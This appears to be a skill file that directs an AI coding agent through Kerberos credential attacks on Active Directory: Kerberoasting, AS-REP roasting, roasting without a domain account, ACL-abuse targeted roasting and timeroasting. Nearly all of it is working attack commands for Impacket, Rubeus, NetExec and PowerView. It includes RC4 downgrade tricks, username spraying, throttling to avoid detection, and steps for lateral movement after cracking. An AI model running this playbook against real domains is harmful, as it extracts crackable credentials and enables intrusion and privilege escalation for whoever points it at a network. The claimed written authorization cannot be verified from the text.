Kerberos Roasting

Kerberos Roasting

You are helping a penetration tester perform Kerberoasting (extracting TGS tickets for offline cracking) and AS-REP Roasting (extracting AS-REP hashes from accounts without pre-authentication). All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [kerberos-roasting] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Any valid domain user credential (for standard Kerberoasting/AS-REP roasting)
• OR: a username with DONT_REQ_PREAUTH (for Kerberoasting without a domain account)
• OR: just a username list (for AS-REP roasting without authentication)
• Tools: Impacket, optionally netexec, Rubeus, bloodyAD

Kerberos-first authentication:

# Get a TGT first
cd $TMPDIR && getTGT.py DOMAIN/user:'Password123' -dc-ip DC_IP
# or with NTLM hash
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP

export KRB5CCNAME=$TMPDIR/user.ccache

# All Impacket roasting tools support -k -no-pass
GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP -request
GetNPUsers.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP

Tool output directory: getTGT.py writes <user>.ccache to CWD with no -out flag. Always prefix with cd $TMPDIR &&. TGS/AS-REP hash output files (via -outputfile) support explicit paths.

Privileged Commands

Claude Code cannot execute sudo commands. The following require root and must be handed off to the user:

• timeroast.py — NTP authentication hash extraction (needs raw sockets for UDP 123)
• ntpdate / rdate — clock synchronization (needed for Kerberos, requires root)

Handoff protocol: Present the full command including sudo, ask the user to run it, then read the output file (tee captures timeroast output) or confirm completion (ntpdate).

Non-privileged commands Claude can execute directly:

• All roasting tools: GetUserSPNs.py, GetNPUsers.py, netexec, Rubeus
• Targeted kerberoasting: targetedKerberoast.py, bloodyAD
• Cracking: delegate to credential-recovery skill

Step 1: Assess

Determine what access level is available:

1. Valid domain credentials (password, hash, or TGT) -> proceed to Step 2
2. Username with DONT_REQ_PREAUTH known -> skip to Step 5 (AS-REP) or Step 6 (Kerberoasting without domain account)
3. Username list only, no credentials -> skip to Step 5 (AS-REP)
4. Write access to user objects (GenericAll/GenericWrite) -> Step 7 (Targeted)

Step 2: Enumerate Kerberoastable Accounts

Impacket (Linux)

# List all user accounts with SPNs (no ticket request yet)
GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP

# With Kerberos auth
GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP

NetExec

# Enumerate via LDAP and extract in one step
nxc ldap DC01.DOMAIN.LOCAL -u 'user' -p 'Password123' \
  --kerberoasting kerberoast.txt

# With Kerberos auth
nxc ldap DC01.DOMAIN.LOCAL --use-kcache --kerberoasting kerberoast.txt

Rubeus (Windows)

# Statistics overview — encryption types, password age, admin status
.\Rubeus.exe kerberoast /stats

# List without requesting (enumeration only)
.\Rubeus.exe kerberoast /stats /nowrap

Prioritize Targets

Before mass-roasting, prioritize by:

• AdminCount=1 — service accounts in privileged groups
• pwdLastSet age — older passwords are weaker (years-old = likely crackable)
• Encryption type — RC4 (etype 23) cracks 1000x faster than AES (etype 17/18)
• Blast radius — BloodHound shortest path from SPN account to DA

Step 3: Extract TGS Hashes (Kerberoasting)

Impacket (Linux) — Preferred

# Request all SPN tickets
GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP \
  -request -outputfile hashes.kerberoast

# Target single user (reduces noise)
GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP \
  -request-user svc_mssql -outputfile hashes.kerberoast

# With NTLM hash
GetUserSPNs.py DOMAIN/user -dc-ip DC_IP \
  -hashes :NTHASH -request -outputfile hashes.kerberoast

# With Kerberos auth (most OPSEC-safe)
GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass \
  -request -outputfile hashes.kerberoast

Rubeus (Windows)

# All SPNs (noisy — avoid in mature environments)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

# Target single account
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast

# Admins only (smaller footprint)
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap

# RC4 downgrade via tgtdeleg trick (forces RC4 even on AES-enabled accounts)
.\Rubeus.exe kerberoast /tgtdeleg

# OPSEC-safer: only roast accounts that already lack AES support
.\Rubeus.exe kerberoast /rc4opsec

# Throttled extraction
.\Rubeus.exe kerberoast /user:svc_mssql /delay:2000 /jitter:30 /nowrap

# Scope to specific OU
.\Rubeus.exe kerberoast /ou:"OU=ServiceAccounts,DC=domain,DC=local" /nowrap

# Target old passwords (more likely weak)
.\Rubeus.exe kerberoast /pwdsetbefore:01-01-2022 /nowrap

PowerView (Windows)

# All user SPNs to hashcat format
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv kerberoast.csv -NoTypeInformation

Step 4: Crack Offline

Hash Formats

Cracking speed: RC4 is ~1000x faster than AES. Always prefer RC4 tickets.

Do NOT crack hashes in this skill. Save hashes to engagement/evidence/ and return to the orchestrator with the hash file path, hash type/mode (see table above), and a routing recommendation to credential-recovery.

# Save extracted TGS hashes to evidence
cp hashes.kerberoast engagement/evidence/kerberoast-tgs-hashes.txt

After Cracking (post credential-recovery)

With recovered service account credentials:

1. Check what the account has access to (BloodHound, nxc)
2. Test for local admin: nxc smb TARGETS -u svc_user -p 'CrackedPass' -d DOMAIN
3. Look for (Pwn3d!) — local admin on servers
4. Escalate for lateral movement or credential-dumping if admin

Step 5: AS-REP Roasting

Targets accounts with DONT_REQ_PREAUTH flag. No valid credentials needed to request the hash — only need to know the username.

Enumerate AS-REP Roastable Accounts

# With credentials — auto-enumerate via LDAP
GetNPUsers.py DOMAIN/user:'Password123' -dc-ip DC_IP

# With Kerberos auth
GetNPUsers.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP

# NetExec
nxc ldap DC01.DOMAIN.LOCAL -u 'user' -p 'Password123' \
  --asreproast asrep-hashes.txt

# bloodyAD — direct LDAP filter
bloodyAD -u user -p 'Password123' -d DOMAIN.LOCAL --host DC_IP \
  get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' \
  --attr sAMAccountName

# PowerView (Windows)
Get-DomainUser -PreauthNotRequired -Verbose

Extract AS-REP Hashes

# Without credentials — spray a username list
GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat \
  -outputfile asrep-hashes.txt -dc-ip DC_IP

# Single known user (no password needed)
GetNPUsers.py DOMAIN/targetuser -no-pass -dc-ip DC_IP

# Rubeus (Windows)
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep-hashes.txt
.\Rubeus.exe asreproast /user:targetuser /format:hashcat /outfile:asrep-hashes.txt

AS-REP Hash Format Reference

Do NOT crack hashes in this skill. Save AS-REP hashes to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (AS-REP / hashcat mode 18200), and a routing recommendation to credential-recovery.

# Save extracted AS-REP hashes to evidence
cp asrep-hashes.txt engagement/evidence/asrep-hashes.txt

Step 6: Kerberoasting Without a Domain Account

If you have a username with DONT_REQ_PREAUTH but no valid domain password, you can request service tickets by altering the sname field in the AS-REQ.

# Impacket (PR #1413) — provide no-preauth user and target list
GetUserSPNs.py -no-preauth "NOPREAUTH_USER" -usersfile users.txt \
  -dc-host DC01.DOMAIN.LOCAL DOMAIN.LOCAL/

# NetExec
nxc ldap DC01.DOMAIN.LOCAL -u '' -p '' \
  --no-preauth-targets users.txt --kerberoasting output.txt

# Rubeus
.\Rubeus.exe kerberoast /nopreauth:NOPREAUTH_USER /spn:TARGET_SPN \
  /domain:DOMAIN.LOCAL /dc:DC01.DOMAIN.LOCAL /outfile:hashes.txt

Limitation: Cannot enumerate SPNs via LDAP without credentials. Must provide a user list to test against.

Step 7: Targeted Kerberoasting (ACL Abuse)

When you have GenericWrite or GenericAll on a user account, you can temporarily set an SPN to make it Kerberoastable.

Automated (Linux)

# targetedKerberoast.py — adds SPN, requests TGS (RC4), removes SPN
targetedKerberoast.py -d DOMAIN.LOCAL -u attacker -p 'Password123' \
  --request-user target_admin

# With Kerberos auth
targetedKerberoast.py -d DOMAIN.LOCAL -u attacker -k --no-pass \
  --request-user target_admin

Manual (Windows)

# 1. Add temporary SPN
Set-DomainObject -Identity target_admin -Set @{serviceprincipalname='fake/TempSvc'} -Verbose

# 2. Roast
.\Rubeus.exe kerberoast /user:target_admin /nowrap

# 3. Clean up immediately
Set-DomainObject -Identity target_admin -Clear serviceprincipalname -Verbose

OPSEC Warning

• Adding/removing SPNs generates Event IDs 5136 and 4738 (directory service object modified and user account changed)
• Keep the SPN window as short as possible
• Use targetedKerberoast.py which automates cleanup

Step 8: Timeroasting

Exploits Windows NTP authentication to extract hashes for computer accounts. Completely unauthenticated — only needs network access to DC on UDP 123.

# Request NTP hashes for all computer accounts
sudo timeroast.py DC_IP | tee ntp-hashes.txt

Do NOT crack hashes in this skill. Save NTP hashes to engagement/evidence/timeroast-hashes.txt and return to the orchestrator with the hash file path, hash type (NTP / hashcat mode 31300), and a routing recommendation to credential-recovery.

Practical value is limited: Computer account passwords are typically 120+ random characters. Most useful against trust accounts between domains, which may have weaker passwords.

Step 9: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

No SPN Accounts Found

• Computer accounts have SPNs but are not useful for Kerberoasting (passwords are 120+ char random). Only user accounts with SPNs are targets.
• Check if SPNs are set on group managed service accounts (gMSA) — these also have strong passwords and are not crackable.

RC4 Disabled Domain-Wide

If only AES tickets are available:

• Cracking is ~1000x slower but still feasible with good wordlists and rules
• Use hashcat modes 19600 (AES128) or 19700 (AES256)
• Consider the /tgtdeleg trick in Rubeus which may still force RC4

Hash Format Issues

• Impacket outputs hashcat format by default
• Rubeus outputs hashcat format with /format:hashcat
• To convert .kirbi files: kirbi2john.py ticket.kirbi > hash.john
• Convert John to hashcat: sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*\$\2/' hash.john

OPSEC Considerations